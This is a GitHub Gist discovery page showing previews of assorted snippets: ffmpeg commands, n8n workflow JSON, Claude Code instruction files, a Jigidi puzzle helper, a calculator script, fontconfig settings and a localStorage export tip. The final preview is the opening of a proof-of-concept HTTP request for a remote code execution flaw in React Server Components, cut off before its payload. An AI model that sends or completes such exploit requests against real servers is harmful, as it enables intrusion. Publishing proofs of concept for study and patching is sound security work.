Skip to content

Instantly share code, notes, and snippets.

@smuralee
smuralee / install-ffmpreg-on-mac.sh
Created August 2, 2020 09:53
Install ffmpeg and convert mp4 to gif
# Install from Homebrew
brew install homebrew-ffmpeg/ffmpeg/ffmpeg
# Create the pallete file
ffmpeg -i screen-recording.mp4 -filter_complex "[0:v] palettegen" colour-pallete.png
# Convert the mp4 to gif
ffmpeg -i screen-recording.mp4 -i colour-pallete.png -r 12 -filter_complex "[0:v][1:v] paletteuse" screen-recording.gif
@iamvaar-dev
iamvaar-dev / routing.json
Created December 4, 2025 03:39
Routing to Whatsapp from scheduling event
{
"nodes": [
{
"parameters": {
"events": [
"BOOKING_CREATED"
],
"options": {}
},
"type": "n8n-nodes-base.calTrigger",
@CaptainCrouton89
CaptainCrouton89 / main.md
Created September 12, 2025 18:24
Main Output Style I Use with CC
name description
main
Tweaked for orchestration and preferred programming practices

You are a senior software architect with deep expertise in system design, code quality, and strategic agent orchestration. You provide direct engineering partnership focused on building exceptional software through precise analysis and optimal tool usage.

Core Approach

Extend Before Creating: Search for existing patterns, components, and utilities first. Most functionality already exists—extend and modify these foundations to maintain consistency and reduce duplication. Read neighboring files to understand conventions.

@Dan-Q
Dan-Q / jigidi-helper.js
Last active December 7, 2025 04:08
Experimental under-development code to streamline Jigidi solving.
window.jColors = ['red', 'blue', 'brown', 'orange', 'yellow', 'pink', 'lightblue', 'lightgreen', 'lightgray'];
window.lColors = ['white', 'black', 'purple', 'darkgray', '#009'];
window.lWidths = [5, 10, 20];
window.jCols = parseInt(document.getElementById('info-creator').innerText.match(/(\d+)×/)[1]);
window.jC = 0;
CanvasRenderingContext2D.prototype.putImageData = function(imageData, dx, dy){
const col = window.jC % window.jCols;
const row = Math.floor(window.jC / window.jCols);
this.fillStyle = window.jColors[col % window.jColors.length];
this.fillRect(-1000,-1000,2000,2000);
@bluehatkeem
bluehatkeem / daily-digest.json
Created December 4, 2025 05:56
Convert Youtube Videos into Newsletter Summaries
{
"name": "Daily Digest",
"nodes": [
{
"parameters": {
"model": "openai/gpt-5.1",
"options": {}
},
"type": "@n8n/n8n-nodes-langchain.lmChatOpenRouter",
"typeVersion": 1,
let inputBox = document.getElementById('inputBox');
let buttons = document.querySelectorAll('button');
let string = '';
buttons.forEach(Element => {
Element.addEventListener('click' , (b) => {
if (b.target.innerText == '=') {
string = String(eval(string));
inputBox.value = string;
@ingramchen
ingramchen / gist:21533bbfc0d2dead94a7
Last active December 7, 2025 03:57
思源 ubuntu CJK fonconfig 設定檔
<fontconfig>
<match target="pattern">
<test qual="any" name="family">
<string>serif</string>
</test>
<edit name="family" mode="prepend" binding="strong">
<string>Noto Sans T Chinese</string>
<string>Noto Sans S Chinese</string>
<string>Noto Sans Japanese</string>
<string>Noto Sans Korean</string>
@ctoth
ctoth / CLAUDE.md
Created November 30, 2025 20:46
My Current global CLAUDE.md

Working with Q — Coding Agent Protocol

What This Is

Applied rationality for a coding agent. Defensive epistemology: minimize false beliefs, catch errors early, avoid compounding mistakes.

This is correct for code, where:

  • Reality has hard edges (the compiler doesn't care about your intent)
  • Mistakes compound (a wrong assumption propagates through everything built on it)
  • The cost of being wrong exceeds the cost of being slow
@shufengh
shufengh / LocalStorageExport.md
Created July 11, 2019 05:23
How to export content in Chrome's local storage for a website

Original idea is from this post

  1. Open a tab and navigate to the website where you have content to export.

  2. Open devtools and switch to the console tab.

  3. Copy and paste the following snippet in the console and Chrome should ask you to save the output file

var obj = JSON.stringify(localStorage, null, 4)
@maple3142
maple3142 / CVE-2025-55182.http
Last active December 7, 2025 03:53
CVE-2025-55182 React Server Components RCE POC
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"